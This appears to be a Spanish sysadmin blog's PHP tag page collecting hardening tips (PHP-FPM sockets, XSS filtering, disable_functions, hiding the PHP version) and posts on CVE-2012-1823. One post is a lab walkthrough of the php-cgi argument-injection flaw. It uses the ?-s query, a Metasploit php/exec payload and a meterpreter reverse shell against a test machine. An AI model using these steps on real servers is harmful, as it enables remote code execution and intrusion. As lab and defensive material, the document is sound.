Mostrando entradas con la etiqueta php. Mostrar todas las entradas
Mostrando entradas con la etiqueta php. Mostrar todas las entradas

PHP-FPM en socket y no TCP

Con la cada vez más rápida implantación y adaptación de php-fpm como servidor de compilación para ficheros tipo PHP, se abre un amplio abanico de posibilidades a la hora de trabajar y escalar sistemas web. En típico sistema Nginx + PHP, todo en la misma máquina ya queda obsoleto y ahora podemos pasar a un sistema con cada uno de los componentes separados en distintas máquinas y por lo tanto escalables. Esto quedará para otra entrada...
Hoy vamos a ver cómo crear una configuración de php-fpm por un socket unix tradicional y no desde una conexión TCP, como suele aparecer en casi todos los lugares. Las ventajas de emplear el socket y no TCP es que trabajando a nivel de localhost no es necesario y nos evitamos la carga innecesaria de la creación de las nuevas conexiones cada vez que se compila un código PHP. Mejoramos en rendimiento y también en seguridad, pues no hay ningún servicio ni ningún puerto abierto, aunque sea a localhost.
Para hacer este cambio y por lo tanto aprovechar esta mejora de rendimiento, podemos hacer lo siguiente,
  1. Editar /etc/php5/fpm/php-fpm.conf y aplicar el siguiente cambio,
    - listen = 127.0.0.1:9000
    + listen = /var/run/php5-fpm.sock
    
  2. Editar el fichero del virtualhost /etc/nginx/conf.d/domain.conf y aplicar el siguiente cambio,
    -fastcgi_pass   127.0.0.1:9000;
    +fastcgi_pass   unix:/var/run/php5-fpm.sock;
    
  3. Reiniciar servicios
    shell> service php-fpm restart
    shell> service nginx restart
Leer más

Prevenir XSS en PHP

Realizar un ataque XSS (Cross Site Scripting) aprovechando alguna vulnerabilidad no suele ser excesivamente complicado. Lo más complejo del proceso es llegar a encontrar la variable de entrada no filtrada, que permite la ejecución del código javascript. Puesto que nuestro interés es evitar que nuestra web se vea comprometida por un ataque XSS tenemos siempre que controlar las variables de entrada que obtenemos.
Si empleamos frameworks como Joomla, Drupal, etc. generalmente ya tienen sus módulos de comprobación que intentan, en la medida de lo posible, filtrar los posibles valores de entrada. En caso de que optes por programar en PHP "a pelo", lo mejor es que conozcas, y bien, la clase PHP Input Filter. Esta clase es la que se encarga de filtrar, y por lo tanto limpiar, todo el código malintencionado que alguien pueda meter en un formulario de entrada.
Su uso es muy sencillo, y únicamente tendremos que incluirla en nuestro código PHP. Una vez la tengamos incluida, podremos crear un InputFilter, que será el encargado de limpiar la variable del formulario y dejar los valores correctos en la variable PHP empleada. Un ejemplo rápido,
require_once("class.inputfilter.php");

$filter = new InputFilter();
$var = $filter->process($_POST['variable']);
La idea de emplear esta clase PHP es simplemente que una entrada como esta,
<script>window.location = "http://www.google.com";</script>
Tenga un valor real así,
resultado: window.location = "http://www.google.com";
Por defecto el InputFilter filtra todo tipo de datos de entrada, pero podemos indicarle que determinadas etiquetas puedan pasar, como es el caso de a o href. Para ello, cuando creamos la nueva clase,
...
$filter = new InputFilter(array('a'), array('href'));
...

La entrada, Prevenir XSS en PHP la puedes leer en Puppet Linux.
Leer más

rats, auditando código fuente

rats es una de esas utilidades que no se suelen emplear y que puedan dar muy buenos resultados en poco tiempo a la hora de programar. La verdad es que yo no conocía este tipo de herramientas (debe ser por la falta de costumbre de programar), pero son muy útiles, ya que permiten detectar fallos triviales en el código, de forma automática. Los típicos con las variables no inicializadas, cast's entre tipos de datos diferentes sin límites, etc.
rats tiene soporte para 5 lenguajes de programación, c, perl, ruby, python y php, con una amplia base de datos de fallos comunes, especialmente c, con 334 entradas. La forma de funcionar típica, es indicarle el tipo de lenguaje de programación (sino lo autodetecta) y los ficheros de entrada. También se le puede decir que saque la salida en formato xml o html. Por defecto, los fallos si no se indica nada, los saca desde la consola.
Al termina de analizar, ofrece unos resultados y el tiempo que tardó en procesar todos los ficheros. Los resultados los agrupo por el tipo de vulnerabilidad que tiene (alta, medio o baja), indicando las líneas en las que se encuentra el fallo, así como información de mismo.
Un ejemplo de ejecución puede ser el que sigue, con sus correspondientes resultados.
shell> rats --language c --input *.c --html > salida.html
Y los resultados obtenidos (copiado del formato html),
------------
Entries in perl database: 33
Entries in ruby database: 46
Entries in python database: 62
Entries in c database: 334
Entries in php database: 55

Analyzing checks_agent.c
Analyzing checks_aggregate.c
Analyzing checks_calculated.c
Analyzing checks_db.c
Analyzing checks_external.c
Analyzing checks_internal.c
Analyzing checks_ipmi.c
Analyzing checks_simple.c
Analyzing checks_snmp.c
Analyzing checks_ssh.c
Analyzing checks_telnet.c
Analyzing poller.c

RATS results

Severity: High
Issue: fixed size global buffer
Extra care should be taken to ensure that character arrays that are allocated on the stack are used safely. They are prime targets for buffer overflow attacks.
    File: checks_agent.c
    Lines: 49
    File: checks_aggregate.c
    Lines: 297
    File: checks_calculated.c
    Lines: 311
    File: checks_internal.c
    Lines: 46 47
    File: checks_ipmi.c
    Lines: 772 862
    File: checks_simple.c
    Lines: 28 29 30 31
    File: checks_snmp.c
    Lines: 248 468 838 839 840 841 842 843
    File: checks_ssh.c
    Lines: 86 343
    File: checks_telnet.c
    Lines: 319 394 516
    File: poller.c
    Lines: 347 447
Severity: Medium
Issue: read
Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space.
    File: checks_telnet.c
    Lines: 72

Inputs detected at the following points

Total lines analyzed: 5449
Total time 0.007437 seconds
732687 lines per second
------------
La verdad es que es una herramienta interesante si el lenguaje de programación está soportado para controlar los tipos de fallos más comúnmente conocidos y poder corregirlos. Sin duda, ayudará a mejorar la seguridad del código final. Por supuesto, al ser código libre, las bases de datos de vulnerabilidades se pueden seguir mejorando, así como emplear otras conocidas y compatibles (opción --database).
Leer más

PHP, deshabilitar funciones

PHP es un excelente lenguaje de programación web que está mejorando constantemente para ofrecernos mejoras en términos de rendimiento y seguridad.
Generalmente los problemas de seguridad no están en fallos del propio lenguaje, sino en fallos que comente el propio programador web. Una variable sin comprobar, un array con un valor incorrecto, etc. puede desembocar en un problema de seguridad como un XSS o un Cross-site File Upload, por ejemplo.
Ejemplos de esto los tenemos todos los días en páginas web conocidas y en software que empleamos, pero si un atacante puede conseguir acceso al sistema por un fallo y así ejecutar comando que no debiera. PHP permite desde el php.ini, deshabilitar una serie de funciones que se consideran peligrosas y así evitar en caso fallo que puedan ser empleadas. Algunas de las funciones que se pueden deshabilitar son system o shell_exec, lo que hace idea ya del extra de seguridad que ofrece.
Si no las estás empleando en tu página, ¿por qué tenerlas habilitadas?
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, shell_exec, passthru, phpinfo, ini_set
Añadiendo la línea anterior al php.ini, conseguimos nativamente deshabilitar el empleo de todas las funciones en ella indicadas y en caso de que alguien hiciera uso de ellas, en el log de error, obtendríamos una línea similar a la siguiente,
Dic 7 17:37:16 info php: PHP Warning:  ini_set() has been disabled for security reasons in /var/www/index.php on line 5
Antes de deshabilitar una función, especialmente si estás en entornos de producción, comprueba que ésta no esté siendo empleada por tu web, sino toda o parte de ella dejará de funcionar.
Leer más

Limitar/prohibir el uso de ini_set

El otro día me pasó un caso cuando menos curioso. En uno de los equipos que administro en el trabajo que hace de servidor web se instaló una nueva página que fue desarrollada externamente. Llegó al equipo, se instaló y comenzó a trabajar. Hasta ahí el proceso todo correcto, pero al día siguiente comenzaron a llegar mensajes a los log's de que la web estaba a sobrescribir el valor del máximo de memoria permitido por php, logrando así más memoria de la que debiera. Para hacer esto simplemente hay que hacer uso desde php de init_set(). Así y de forma sencilla cualquier página web escrita en php puede volver a darles valor a las variables definidas en el php.ini. Esto desde luego no me gustó nada, pero tampoco sabía cómo lograr evitar que eso sucediera. Así que me puse a investigar un poco cómo poder lograrlo y por fin encontré la solución: php_admin_value y php_admin_flag.
Estas dos directivas de php se pueden incluir en el virtualhost que nos convenga limitar y establecer todas aquellas variables que queramos impedir que se sobrescriban. De esta forma tan sencilla limitamos el empleo discriminado de init_set y de los .htaccess en los virtualhost e impedimos que se vulnere la seguridad del sistema de forma directa.
<VirtualHost *:80>
   ...
   php_admin_value memory_limit 128M
   ...
</VirtualHost>
De esta forma tan sencilla se impide que el valor memory_limit se puede sobrescribir desde el código php escrito en la web.
La diferencia entre php_admin_value y php_admin_flag es únicamente que el primero es para variables con valor y la segunda para variables booleanas.

Se que en mi caso no tenía importancia alguna, ya que era código confiable, pero no está demás saber cómo impedir que se haga y ésta es una forma sencilla.
Leer más

Zabbix, tendencias de items

Descubrí recientemente una página, spinola.net.br, que ofrece un parche más que interesante para presentar una nueva pestaña de tendencias de los items en Zabbix  Aunque existen otras formas de conseguir lo mismo, la verdad es que esta nueva pestaña presenta una facilidad pasmosa de conseguirlo.
La probé y me gustó, así que animo a probarla a todos aquellos que necesiten tener algún método o monitor de tendencias rápido.
La instalación la verdad es que queda bastante sencilla. Simplemente sigue estos pasos y lo tendrás:
  1. Descarga la última versión disponible desde aquí.
  2. Descomprimir el zip descargado
    shell> unzip zabbix-cat-0.3.zip
    
  3. Modificar el fichero menú.inc.php
    Podemos poner la nueva pestaña de menú en donde queramos. Por defecto, el parche que se recomienda la aplica en la pestaña de reportes, con muy buen criterio. Así que vamos al fichero include/menu.inc.php de la web de Zabbix a añadimos un nuevo item a mostrar dentro del array 'reports'.
    'reports'=>array(
       'label' => S_REPORTS,
       ...
       array(
          'url'=>'analiseTendencia.php',
          'label'=>"Tendencias"
       ),
       array('url'=>'popup.php'),
    
  4. Crear el fichero analiseTendencia.php
    shell> mv /home/javier/analiseTendencia.php /var/www/
    
  5. Disfrutar de la nueva pestaña de tendencias.
El parche original está escrito en brasileño, por lo que para hispano-hablantes, puede ser que tengamos algún que otro problema con acentos, aunque se entiende perfectamente. Si queremos tenerlo en español, creé un pequeño parche que lo adapta perfectamente y está disponible aquí.
Esta pestaña de tendencias funciona en la versión 1.8 del frontend.

Más info en la web original: spinola.net.br
Leer más

Ocultando la extensión de nuestra programación web

Fijo que alguna vez os ha pasado que accedéis a una página web y no veis a qué archivo estáis accediendo, pero no la extensión del mismo. Por ejemplo http://dominio.com/index.php y http://dominio.com/index. Es decir, exactamente lo mismo pero sin saber que está escrita en php. Pues bien, conseguirlo en apache es muy sencillo y sólo se necesitan dos cosas. La primera tener cargado el módulo mod_rewrite y la segunda crear un fichero .htaccess en la raíz de la web a la que aplicarlo (o bien en la configuración general de apache) con el siguiente contenido.


RewriteEngine on

# Rescribe /dir/file.php -> /dir/file
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if file.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]
Leer más

PHP Fatal error: Allowed memory size of

Aunque no suele ser habitual tener este tipo de problemas, hay veces que php por el, o bien el tipo de consultas a base de datos que realiza, o la cantidad de datos que está a manejar, necesita más memoria ram de la que tiene asignada. Es entonces cuando da la siguiente salida,

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 128 bytes) in /var/www/include/db.php on line 607
Pero, ¿qué quiere decir exactamente? Pues ni más ni menos que la página a la que llamas necesita más memoria de la que la configuración le asigna para manejar los datos. La solución es fácil, como veremos a continuación, pero antes de asignarle más memoria, hay que pensar si tiene lógica. La página realmente está manejando tantos datos como para requerir más memoria. Esto hay que tenerlo en cuenta si estamos hablando de cosas en los que ya hay 256Mb o 512Mb asignados. En caso de que consideremos que efectivamente necesita más memoria, podemos optar por dos soluciones para dársela.
  • Fichero de configuración general (php.ini)
    Esta es la opción más común y no es otra que aumentar el límite de memoria para el proceso php en el fichero php.ini. Con esta opción cualquier otro fichero php que requiera más memoria también la podrá consumir, por lo que hay que tener cuidado con la cantidad de memoria que se le asigne.
    ...
    memory_limit = 512M
    ...
    
  • Fichero php concreto
    Esta es la otra opción y consiste en indicarle a php que para el fichero sobre el que se definan estos valores, deberá sobreescribir los valores por defecto del php.ini. Es una buena opción si únicamente nos pasa esto con un fichero concreto que por el motivo que sea necesita más memoria.
    La línea a incluir es:
    ini_set("memory_limit","512M");
    ...
    
Leer más

TimeOut en conexiones a MySQL

En muchas ocasiones se puede dar el caso de que tengamos un servidor de base de datos al que se conectan muchos clientes de todo tipo. Cuando las aplicaciones que se conectan las diseñamos nosotros podemos hacer un uso responsable del acceso a base de datos, es decir, accedemos a la base de datos, realizamos la consulta que queramos y luego CERRAMOS dicha conexión. Esto es lo normal y habitual (excepto que se use un pool de conexiones). Si las aplicaciones no las controlamos nosotros, sino que fueron diseñadas por terceros, entonces el resultado puede ser un montón de conexiones al servidor MySQL en estado Sleep.
Si las aplicaciones están escritas en php, lo podemos solucionar editando el fichero php.ini y deshabilitar las conexiones persistentes a MySQL.
mysql.allow_persistent = Off
mysql.max_persistent = 20
Esto mismo también se puede hacer en el servidor de MySQL para que sea él el que mate las conexiones pasado un cierto tiempo de gracia. En caso de que no haya actividad (estado sleep), se terminan. Para ello, en la sección [ mysqld ] añadimos,
wait_timeout = 60
Este mismo valor lo podemos fijar en caliente para ver sus efectos,
set global wait_timeout=30;
Tras aplicar los cambios, pasaremos de una salida tal que así,
mysql> show processlist;
+-----+------+------------------+-------+---------+-------+-------+------
| Id  | User | Host             | db    | Command | Time  | State | Info
+-----+------+------------------+-------+---------+-------+-------+------
| 149 | app  | 192.168.1.2:5350 | users | Sleep   |  1921 |       | NULL
| 185 | zbx  | 192.168.1.7:5365 | zbx   | Sleep   | 12719 |       | NULL
| 628 | root | localhost        | NULL  |         | Query |     0 | show...
+-----+------+------------------+-------+---------+-------+-------+------
3 rows in set (0.00 sec)
A una mucho más limpia,
mysql> show processlist;
+-----+------+-----------+------+---------+------+-------+-------------
| Id  | User | Host      | db   | Command | Time | State | Info
+-----+------+-----------+------+---------+------+-------+-------------
| 639 | root | localhost | NULL | Query   |    0 | NULL  | show processlist
+-----+------+-----------+------+---------+------+-------+-------------
1 rows in set (0.00 sec)
Leer más

New bug in PHP-CGI

Pues parece que hoy es el día de enunciar vulnerabilidades. Si a primera hora era la de samba, ahora toca una nueva de php, que afecta  a php-cgi. Dicha vulnerabilidad está identificada con el código CVE-2012-1823 y está calificada como crítica ya que a través de inyección de parámetros se puede mostrar el contenido del php ejecutado (contraseñas incluidas) o ejecutar código remoto. Este fallo se viene arrastrando desde 2004, por lo que son muchos los sistemas afectados de inyección de parámetros.
Para explotar dicha vulnerabilidad, simplemente hay que pasarle los parámetros -s, '?-s', o -r, '?-s', como opciones a la página llamada. Por ejemplo, la opción -s lo que hace es directamente mostrar el contenido del php ejecutado, lo que implica una falta de seguridad muy grave.
Los encargados del proyecto ya han desarrollado un parche que se espera en breve llegue a todas las distribuciones empaquetado, pero ya está disponible en código fuente.
Si la actualización es complicada, se aconseja cuando menos añadir al sistema el módulo mod_rewrite de apache, para intentar bloquear las peticiones maliciosas. Las reglas a añadir serían,
RewriteEngine on
RewriteCond% {QUERY_STRING} ^ [^ =] * $
RewriteCond% {QUERY_STRING}% 2d | \ - [NC]
RewriteRule.? - [F, L]
O también el uso de la directiva FilesMatch, que evita que se muestre el contenido de ficheros php importantes.
...
  <filesmatch ^config.php$="">
    Deny from all
  </filesmatch>
...
Nota: FastCGI no es vulnerable!
Nota: Ya hay disponible un módulo para metasploit que aprovecha dicho fallo de seguridad, para hacer PoC.

Para más información: eindbazen.net.
Leer más

Metasploit CVE-2012-1823, php-cgi

El viernes pasado se montó un rebumbio muy grande por todo internet cuando un fallo en php, concretamente en el módulo CGI permitía ver el código fuente de una página y permitir ejecución de código remoto. En este blog, como en muchos otros se notificó de ello. Hoy, ya con un fin de semana de por medio para poder probar el módulo que la gente de metasploit sacó para explotar dicha vulnerabilidad, os persento los resultados. Realmente son bastante sorprendentes y quedan muy visto lo sencillo que es.
Primero creamos un entorno de pruebas con un apache + php_cgi vulnerable. En debian, empleando los parches de seguridad ya está parcheado, así que montamos una máquina sin parches de seguridad. Como la prueba es muy simple, únicamente necesitamos un pequeño código php. Qué mejor que un phpinfo ;-)
Tras tener la máquina montada, accedemos a un php de prueba, http://192.168.1.45/info.php.
Nos muestra la típica página de información. Ahora comprobamos qué sucede al acceder a http://192.168.1.45/info.php?-s. El resultado, el código fuente del php.
<?php
phpinfo();
?>
Es hora de intentar explotar la vulnerabilidad en condiciones. Así que, comencemos.
shell> msfconsole
Primero buscamos un exploit que permita aprovechar dicha vulnerabilidad. Por defecto mi sistema se actualiza en cada arranque, así que ya lo tengo. En caso de que no lo tengáis, simplemente actualizar vuestros exploit's disponibles.
msf> search php_cgi
Matching Modules
================
Name                                       Disclosure Date   Rank       
----                                       ---------------   ----       
exploit/multi/http/php_cgi_arg_injection   2012-05-03        excellent
Pues vamos allá. Cargamos el exploit y le indicamos los datos de la víctima.
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> set RHOST 192.168.1.45
msf exploit(php_cgi_arg_injection)> set TARGETURI /info.php
Ahora tenemos que buscar un payload que cargar tras la explotación. Puesto que sólo es una prueba, vamos a realizar algo muy simple. Primero... vamos a ver qué payloads nos interesa.
msf exploit(php_cgi_arg_injection)> show payloads

Compatible Payloads
===================

Name                         Rank   Description
----                         ----   -----------
php/exec                     normal PHP Execute Command 
php/meterpreter/reverse_tcp  normal PHP Meterpreter, PHP Reverse TCP stager
Los dos que destacamos son los que vamos a emplear. El primer, muy simple, permite ejecutar un comando desde php y el segundo, pues el propio nombre lo indica ;-)
Cargamos por lo tanto el payload y lo configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection)> set CMD echo 'hack\>/var/www/hack.html
Lanzamos el exploit y comprobamos qué sucede al acceder al http://192.168.1.45/hack.html. Efectivamente, el contenido del archivo es el esperado. Imaginémonos ahora que ejecutamos un cat /etc/passwd, por ejemplo.
msf exploit(php_cgi_arg_injection)> exploit 
Probemos ahora a emplear el otro payload, que nos puede dar más juego, ya que abrirá una conexión meterpreter con la máquina remota. Lo cargamos y configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection)> set LHOST 192.168.1.33
Ahora lo lazamos contra la misma web vulnerable y esto es lo que obtenemos.
msf exploit(php_cgi_arg_injection)> exploit

[*] Started reverse handler on 192.168.1.33:4444
[*] Sending stage (38791 bytes) to 192.168.1.33
[*] Meterpreter session 2 opened (192.168.1.33:4444 -> 192.168.1.45:4732)..

meterpreter> getuid
Server username: www-data (33)
El meterpreter de php es limitado, pero sí permite hacer alguna que otra cosa interesante, como subida de ficheros o cambios de puertos y por defecto, tenemos los permisos del usuario www-data/apache o aquel usuario que ejecute el php-cgi.
Leer más

php, ocultar versión


Cuando se consulta un determinado servidor web que ejecuta php, éste envía la versión del servidor así como la versión de php que está ejecutando. Dicha información puede dar a un posible atacante mucha información sobre si el equipo es o no es vulnerable. Aunque la seguridad por ocultación no es buena, sí puede ofrecer un poco de protección, o cuando menos evita dejar "los datos al aire".
Por defecto, ésta es la información que se puede obtener de un servidor al realizarle una consulta.

shell> curl -I http://www.site.com
HTTP/1.1 200 OK
Date: Wed, 14 Mar 2012 15:24:19 GMT
Server: Apache/2.2.16
X-Powered-By: PHP/5.3.3-7+squeeze7
Set-Cookie: SESS62cf6d13abf72b42af7...
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Wed, 14 Mar 2012 19:24:19 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Para evitar que enseñe la versión de php que está a ejecutar (5.3.3-7) sólo hay que cambiar la variable expose_php de on, valor que tiene por defecto a off y recargar apache.
shell> vi /etc/php5/apache2/php.ini
...
expose_php = Off
...
shell> /etc/init.d/apache2 restart
Después de éste pequeño cambio, como se puede observar ya no hay información sobre la versión de php del servidor.
shell> curl -I http://www.site.com
HTTP/1.1 200 OK
Date: Wed, 14 Mar 2012 15:26:41 GMT
Server: Apache/2.2.16
Set-Cookie: SESS62cf6d13abf72b42af7...
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Wed, 14 Mar 2012 19:26:41 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios